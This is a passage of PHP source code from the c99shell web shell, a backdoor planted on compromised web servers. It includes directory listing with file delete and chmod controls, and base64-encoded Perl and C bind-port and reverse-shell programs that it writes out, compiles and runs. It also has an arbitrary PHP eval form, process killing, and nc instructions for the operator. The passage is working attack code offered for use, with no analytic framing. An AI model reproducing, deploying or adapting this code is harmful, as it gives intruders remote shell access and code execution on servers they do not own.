  2007.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2008.       }
  2009.      $row[] = $type;
  2010.     }
  2011.     elseif(is_file($v))
  2012.     {
  2013.      $ext = explode(".",$o);
  2014.      $c = count($ext)-1;
  2015.      $ext = $ext[$c];
  2016.      $ext = strtolower($ext);
  2017.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2018.      $row[] = view_size($a[1]);
  2019.     }
  2020.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2021.     if (!$win) {$row[] = $a[3];}
  2022.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2023.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
  2024.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";}
  2025.     if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
  2026.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2027.     elseif (is_dir($v)) {$tab["dirs"][] = $row;}
  2028.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2029.    }
  2030.   }
  2031.   //Compiling table
  2032.   $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]);
  2033.   echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">";
  2034.   foreach($table as $row)
  2035.   {
  2036.    echo "<tr>\r\n";
  2037.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2038.    echo "</tr>\r\n";
  2039.   }
  2040.   echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2041.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2042.   {
  2043.    echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2044.   }
  2045.   echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>";
  2046.   echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>";
  2047.   echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>";
  2048.   if ($usefsbuff)
  2049.   {
  2050.    echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>";
  2051.    echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>";
  2052.    echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>";
  2053.   }
  2054.   echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>";
  2055.   echo "</form>";
  2056.  }
  2057. }
  2058. if ($act == "bind")
  2059. {
  2060.  $bndsrcs = array(
  2061. "c99sh_bindport.pl"=>
  2062. "IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW".
  2063. "WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI".
  2064. "TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS".
  2065. "RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp".
  2066. "bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph".
  2067. "Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl".
  2068. "biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy".
  2069. "XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K".
  2070. "ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K".
  2071. "ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9",
  2072. "c99sh_bindport.c"=>
  2073. "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5".
  2074. "cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N".
  2075. "CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy".
  2076. "ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1".
  2077. "Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f".
  2078. "ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p".
  2079. "KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm".
  2080. "ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi".
  2081. "c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl".
  2082. "LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h".
  2083. "Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN".
  2084. "CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy".
  2085. "ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp".
  2086. "DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN".
  2087. "CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K".
  2088. "ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg".
  2089. "aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g".
  2090. "J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy".
  2091. "ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K".
  2092. "fQ==",
  2093. "c99sh_backconn.pl"=>
  2094. "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ".
  2095. "HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ".
  2096. "DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ".
  2097. "HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L".
  2098. "CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd".
  2099. "GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka".
  2100. "WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO".
  2101. "iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR".
  2102. "VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK".
  2103. "FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==",
  2104. "c99sh_backconn.c"=>
  2105. "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l".
  2106. "dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk".
  2107. "Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk".
  2108. "YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g".
  2109. "aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh".
  2110. "cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy".
  2111. "XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg".
  2112. "DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
  2113. "Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
  2114. "KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
  2115. "ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
  2116. "c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
  2117. );
  2118.  $bndportsrcs = array(
  2119. "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  2120. "c99sh_bindport.c"=>array("Using C","%path %port %pass")
  2121. );
  2122.  $bcsrcs = array(
  2123. "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2124. "c99sh_backconn.c"=>array("Using C","%path %host %port")
  2125. );
  2126.  if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";}
  2127.  else
  2128.  {
  2129.   if (!is_array($bind)) {$bind = array();}
  2130.   if (!is_array($bc)) {$bc = array();}
  2131.   if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2132.   if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2133.   if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;}
  2134.   if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;}
  2135.   if (!empty($bindsubmit))
  2136.   {
  2137.    echo "<b>Result of binding port:</b><br>";
  2138.    $v = $bndportsrcs[$bind["src"]];
  2139.    if (empty($v)) {echo "Unknown file!<br>";}
  2140.    elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2141.    else
  2142.    {
  2143.     $srcpath = $tmpdir.$bind["src"];
  2144.     $w = explode(".",$bind["src"]);
  2145.     $ext = $w[count($w)-1];
  2146.     unset($w[count($w)-1]);
  2147.     $binpath = $tmpdir.join(".",$w);
  2148.     if ($ext == "pl") {$binpath = $srcpath;}
  2149.     @unlink($srcpath);
  2150.     $fp = fopen($srcpath,"ab+");
  2151.     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2152.     else
  2153.     {
  2154.      $data = base64_decode($bndsrcs[$bind["src"]]);
  2155.      fwrite($fp,$data,strlen($data));
  2156.      fclose($fp);
  2157.      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2158.      $v[1] = str_replace("%path",$binpath,$v[1]);
  2159.      $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2160.      $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2161.      $v[1] = str_replace("//","/",$v[1]);
  2162.      $retbind = myshellexec($v[1]." > /dev/null &");
  2163.      sleep(5);
  2164.      $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2165.      if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2166.      else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2167.     }
  2168.     echo "<br>";
  2169.    }
  2170.   }
  2171.   if (!empty($bcsubmit))
  2172.   {
  2173.    echo "<b>Result of back connection:</b><br>";
  2174.    $v = $bcsrcs[$bc["src"]];
  2175.    if (empty($v)) {echo "Unknown file!<br>";}
  2176.    else
  2177.    {
  2178.     $srcpath = $tmpdir.$bc["src"];
  2179.     $w = explode(".",$bc["src"]);
  2180.     $ext = $w[count($w)-1];
  2181.     unset($w[count($w)-1]);
  2182.     $binpath = $tmpdir.join(".",$w);
  2183.     if ($ext == "pl") {$binpath = $srcpath;}
  2184.     @unlink($srcpath);
  2185.     $fp = fopen($srcpath,"ab+");
  2186.     if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2187.     else
  2188.     {
  2189.      $data = base64_decode($bndsrcs[$bind[src]]);
  2190.      fwrite($fp,$data,strlen($data));
  2191.      fclose($fp);
  2192.      if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2193.      $v[1] = str_replace("%path",$binpath,$v[1]);
  2194.      $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2195.      $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2196.      $v[1] = str_replace("//","/",$v[1]);
  2197.      $retbind = myshellexec($v[1]." > /dev/null &");
  2198.      echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>";
  2199.     }
  2200.    }
  2201.   }
  2202.   ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2203. foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2204. ?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form>
  2205. <b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2206. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2207. ?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form>
  2208. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php
  2209.  }
  2210. }
  2211. if ($act == "ps_aux")
  2212. {
  2213.  echo "<b>Processes:</b><br>";
  2214.  if ($win) {echo "This function not work in Windows!<br><br>";}
  2215.  else
  2216.  {
  2217.   if ($pid)
  2218.   {
  2219.    if (!$sig) {$sig = 9;}
  2220.    echo "Sending signal ".$sig." to #".$pid."... ";
  2221.    $ret = posix_kill($pid,$sig);
  2222.    if ($ret) {echo "ok. he is dead, amen.";}
  2223.    else {echo "ERROR.";}
  2224.   }
  2225.   $ret = myshellexec("ps -aux");
  2226.   if (!$ret) {echo "Can't execute \"ps -aux\"!";}
  2227.   else
  2228.   {
  2229.    $ret = htmlspecialchars($ret);
  2230.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2231.    $stack = explode("\n",$ret);
  2232.    $head = explode(" ",$stack[0]);
  2233.    unset($stack[0]);
  2234.    if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
  2235.    if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
  2236.    $k = $ps_aux_sort[0];
  2237.    if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2238.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2239.    for($i=0;$i<count($head);$i++)
  2240.    {
  2241.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";}
  2242.    }
  2243.    $prcs = array();
  2244.    foreach ($stack as $line)
  2245.    {
  2246.     if (!empty($line))
  2247.         {
  2248.          echo "<tr>";
  2249.      $line = explode(" ",$line);
  2250.      $line[10] = join(" ",array_slice($line,10,count($line)));
  2251.      $line = array_slice($line,0,11);
  2252.      if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";}
  2253.      $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2254.      $prcs[] = $line;
  2255.      echo "</tr>";
  2256.     }
  2257.    }
  2258.    $head[$k] = "<b>".$head[$k]."</b>".$y;
  2259.    $head[] = "<b>ACTION</b>";
  2260.    $v = $ps_aux_sort[0];
  2261.    usort($prcs,"tabsort");
  2262.    if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2263.    $tab = array();
  2264.    $tab[] = $head;
  2265.    $tab = array_merge($tab,$prcs);
  2266.    echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2267.    foreach($tab as $k)
  2268.    {
  2269.     echo "<tr>";
  2270.     foreach($k as $v) {echo "<td>".$v."</td>";}
  2271.     echo "</tr>";
  2272.    }
  2273.    echo "</table>";
  2274.   }
  2275.  }
  2276. }
  2277. if ($act == "eval")
  2278. {
  2279.  if (!empty($eval))
  2280.  {
  2281.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2282.   $tmp = ob_get_contents();
  2283.   $olddir = realpath(".");
  2284.   @chdir($d);
  2285.   if ($tmp)
  2286.   {
  2287.    ob_clean();
  2288.    eval($eval);
  2289.    $ret = ob_get_contents();
  2290.    $ret = convert_cyr_string($ret,"d","w");
  2291.    ob_clean();
  2292.    echo $tmp;
  2293.    if ($eval_txt)
  2294.    {
  2295.     $rows = count(explode("\r\n",$ret))+1;
  2296.     if ($rows < 10) {$rows = 10;}
  2297.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2298.    }
  2299.    else {echo $ret."<br>";}
  2300.   }
  2301.   else
  2302.   {
  2303.    if ($eval_txt)
  2304.    {
  2305.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2306.     eval($eval);
  2307.     echo "</textarea>";
  2308.    }
  2309.    else {echo $ret;}
  2310.   }
  2311.   @chdir($olddir);
  2312.  }
  2313.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
  2314.  echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2315. }
  2316. if ($act == "f")
  2317. {
  2318.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2319.  {
  2320.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2321.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2322.  }
  2323.  else
  2324.  {
  2325.   $r = @file_get_contents($d.$f);
  2326.   $ext = explode(".",$f);
  2327.   $c = count($ext)-1;
  2328.   $ext = $ext[$c];
  2329.   $ext = strtolower($ext);
  2330.   $rft = "";
  2331.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2332.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2333.   if (empty($ft)) {$ft = $rft;}
  2334.   $arr = array(
  2335.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2336.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2337.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2338.    array("Code","code"),
  2339.    array("Session","phpsess"),
  2340.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2341.    array("SDB","sdb"),
  2342.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2343.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2344.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2345.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2346.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2347.   );
  2348.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2349.   foreach($arr as $t)
  2350.   {
  2351.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";}
  2352.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2353.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2354.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2355.   }
  2356.   echo "<hr size=\"1\" noshade>";
  2357.   if ($ft == "info")
  2358.   {
  2359.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2360.    if (!$win)
  2361.    {
  2362.     echo "<tr><td><b>Owner/Group</b></td><td> ";      
  2363.     $tmp = posix_getpwuid(fileowner($d.$f));
  2364.     if ($tmp["name"] == "") {echo fileowner($d.$f)."/";}
  2365.     else {echo $tmp["name"]."/";}
  2366.     $tmp = posix_getgrgid(filegroup($d.$f));
  2367.     if ($tmp["name"] == "") {echo filegroup($d.$f);}
  2368.     else {echo $tmp['name'];}
  2369.    }
  2370.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2371.    $fi = fopen($d.$f,"rb");
  2372.    if ($fi)
  2373.    {
  2374.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2375.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2376.     $n = 0;
  2377.     $a0 = "00000000<br>";
  2378.     $a1 = "";
  2379.     $a2 = "";
  2380.     for ($i=0; $i<strlen($str); $i++)
  2381.     {
  2382.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2383.      switch (ord($str[$i]))
  2384.      {
  2385.       case 0:  $a2 .= "<font>0</font>"; break;
  2386.       case 32:
  2387.       case 10:
  2388.       case 13: $a2 .= "&nbsp;"; break;
  2389.       default: $a2 .= htmlspecialchars($str[$i]);
  2390.      }
  2391.      $n++;
  2392.      if ($n == $hexdump_rows)
  2393.      {
  2394.       $n = 0;
  2395.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2396.       $a1 .= "<br>";
  2397.       $a2 .= "<br>";
  2398.      }
  2399.     }
  2400.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2401.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2402.    }
  2403.    $encoded = "";
  2404.    if ($base64 == 1)
  2405.    {
  2406.     echo "<b>Base64 Encode</b><br>";
  2407.     $encoded = base64_encode(file_get_contents($d.$f));
  2408.    }
  2409.    elseif($base64 == 2)
  2410.    {
  2411.     echo "<b>Base64 Encode + Chunk</b><br>";
  2412.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2413.    }
  2414.    elseif($base64 == 3)
  2415.    {
  2416.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2417.     $encoded = base64_encode(file_get_contents($d.$f));
  2418.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2419.    }
  2420.    elseif($base64 == 4)
  2421.    {
  2422.     $text = file_get_contents($d.$f);
  2423.     $encoded = base64_decode($text);
  2424.     echo "<b>Base64 Decode";
  2425.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2426.     echo "</b><br>";
  2427.    }
  2428.    if (!empty($encoded))
  2429.    {
  2430.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2431.    }
